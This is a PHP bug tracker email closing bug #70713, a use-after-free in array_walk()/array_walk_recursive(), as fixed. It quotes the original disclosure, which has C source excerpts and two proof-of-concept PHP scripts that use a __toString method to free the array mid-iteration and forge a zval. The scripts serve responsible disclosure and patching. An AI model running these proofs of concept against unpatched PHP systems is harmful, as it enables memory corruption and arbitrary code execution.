Bug #70713 [Opn->Csd]: Use After Free Vulnerability in array_walk()/array_walk_recursive()
| From: | nikic@php.net | Date: | Fri, 29 Jul 2016 22:21:43 +0000 |
| Subject: | Bug #70713 [Opn->Csd]: Use After Free Vulnerability in array_walk()/array_walk_recursive() | ||
| References: | 1 | Groups: | php.bugs |
| Request: | Send a blank email to php-bugs+get-202710@lists.php.net to get a copy of this message | ||
Edit report at https://bugs.php.net/bug.php?id=70713&edit=1
ID: 70713
Updated by: nikic@php.net
Reported by: taoguangchen at icloud dot com
Summary: Use After Free Vulnerability in
array_walk()/array_walk_recursive()
-Status: Open
+Status: Closed
Type: Bug
Package: *General Issues
Operating System: *
PHP Version: Irrelevant
-Assigned To:
+Assigned To: nikic
Block user comment: N
Private report: N
New Comment:
Fixed as part of https://github.com/php/php-src/commit/11e050920d3052d2b14a9cff6c4c5764d674fc46.
Previous Comments:
------------------------------------------------------------------------
[2015-10-14 16:39:21] taoguangchen at icloud dot com
Description:
------------
Use After Free Vulnerability in array_walk()/array_walk_recursive()
```
static int php_array_walk(HashTable *target_hash, zval *userdata, int recursive TSRMLS_DC) /* {{{ */
{
...
BG(array_walk_fci).retval_ptr_ptr = &retval_ptr;
BG(array_walk_fci).param_count = userdata ? 3 : 2;
BG(array_walk_fci).params = args;
BG(array_walk_fci).no_separation = 0;
/* Iterate through hash */
zend_hash_internal_pointer_reset(target_hash);
while (!EG(exception) && zend_hash_get_current_data(target_hash, (void **)&args[0]) ==
SUCCESS) {
...
if (zend_call_function(&BG(array_walk_fci), &BG(array_walk_fci_cache) TSRMLS_CC) ==
SUCCESS) {
...
PHP_FUNCTION(array_walk)
{
...
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "Hf|z/", &array,
&BG(array_walk_fci), &BG(array_walk_fci_cache), &userdata) == FAILURE) {
BG(array_walk_fci) = orig_array_walk_fci;
BG(array_walk_fci_cache) = orig_array_walk_fci_cache;
return;
}
php_array_walk(array, userdata, 0 TSRMLS_CC);
```
the array_walk()/array_walk_recursive()'s callback function to a object-type ZVAL is able to
call to the object's magic methods, this means an attacker will be able to changes the original
array and its elements. this should result in use-after-free attack and arbitrary code execution.
PoC1
```
class obj
{
function __tostring()
{
global $arr, $zval;
$arr = 1;
$zval = ptr2str(2);
$zval .= ptr2str(0x1122334455);
$zval .= "\x00\x00\x00\x00";
$zval .= "\x05";
$zval .= "\x00";
$zval .= "\x00\x00";
return 'hi';
}
}
$arr = array('string' => new obj, 1);
array_walk_recursive($arr, 'settype');
```
PoC2
```
class obj
{
function __tostring()
{
global $arr;
$arr = 1;
for ($i = 0; $i < 5; $i++) {
$v[$i] = 'hi'.$i;
}
return 'hi';
}
}
$arr = array('string' => new obj);
array_walk_recursive($arr, 'settype');
```
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=70713&edit=1